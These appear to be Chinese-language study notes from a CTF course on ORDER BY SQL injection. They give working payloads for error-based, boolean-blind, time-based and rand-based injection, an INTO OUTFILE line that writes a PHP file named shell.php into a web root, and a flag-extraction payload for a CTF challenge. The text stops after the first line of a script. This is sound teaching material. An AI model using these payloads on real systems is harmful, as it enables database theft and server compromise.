order by注入
注:
1.本文是对安全牛《CTF从入门到提升》课程课时6的记录
2.文中的users表是一个示例,有id,username,password三个列
1.order by语法
ORDER BY{column_name[ASC|DESC]},[,…n]
1.1 asc和desc后面还可以加其他列进行多次排序
1 | select * from users order by id desc,username desc; |
- 后面的列同样可以用于注入
1.2 order by后的运算
1.2.1 数字运算失效
1 | select * from users order by (2+1);等效于 |
1 | select * from users order by (3|2);等效于 |
- 即order by后出现数字运算时,无论运算结果是多少,order by总会按照第一列排序
1.2.2 列名进行位运算
假如id列内容为1,2,3
则
1 | select * from users order by id|1; |
和
1 | select * from users order by id|2; |
的结果会不同,
id|1的结果为1,3,3,所以仍然按照id=1,2,3的顺序排序,
id|2的结果为3,2,3,所以按照id=2,1,3的顺序排序
2. 报错注入
当数据库错误信息有回显时,可以用updatexml进行报错注入
比如
1 | select * from users order by updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1); |
或者利用procedure analyse
1 | select * from users order by 1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1); |
具体报错注入 https://blog.csdn.net/Fly_hps/article/details/79416842
3. 布尔型盲注
3.1 if盲注
1 | select * from users order by if(0,id,username); |
结果会按照username排序
注意
1 | select * from users order by if(0,1,2);和 |
是不行的,这样还是会按照第一列(即id列)排序
同时无法用desc和asc的判断进行盲注
1 | select * from users order by id if(1,desc,asc); |
和
1 | select * from users order by id if(1,'desc','asc'); |
都会报错
3.2 rand盲注
1 | select * from users order by rand(true); |
和
1 | select * from users order by rand(false); |
结果是不同的,可以利用这一点
比如
1 | select * from users order by rand(substr(database(),1,1)='s'); |
4. 基于时间的盲注
1 | select * from users order by if(0,id,sleep(1)); |
这样sleep的时间可能会很长,因为每一列都会sleep(1)一次
5.直接写shell
1 | select * from users order by 1 into outfile "D:\\phpstudy\\PHPTutorial\\WWW\\shell.php" lines terminated by 0x3c3f70687020706870696e666f28293b3f3e2020; |
6. 例题讲解
题目: http://chall.tasteless.eu/level1/index.php
先把payload放上来
1 | http://chall.tasteless.eu/level1/index.php?dir=|(select (select flag from level1_flag) regexp '^7')%2b1 |
构成的语句类似于
1 | select * from xx order by id | (select (select flag from level1_flag) regexp '^7')+1; |
分析:
- regexp用于匹配正则表达式意思是如果level1_flag表中的flag列的值以7开头则返回1,否则返回0
1
(select (select flag from level1_flag) regexp '^7')
- 如果1中返回1的话,sql语句会变成1中返回0的话,sql语句会变成
1
select * from xx order by id | 2;
两者返回的页面会不同,依照这点就可以判断flag的内容1
select * from xx order by id|1;
附上脚本:
1 | import requests |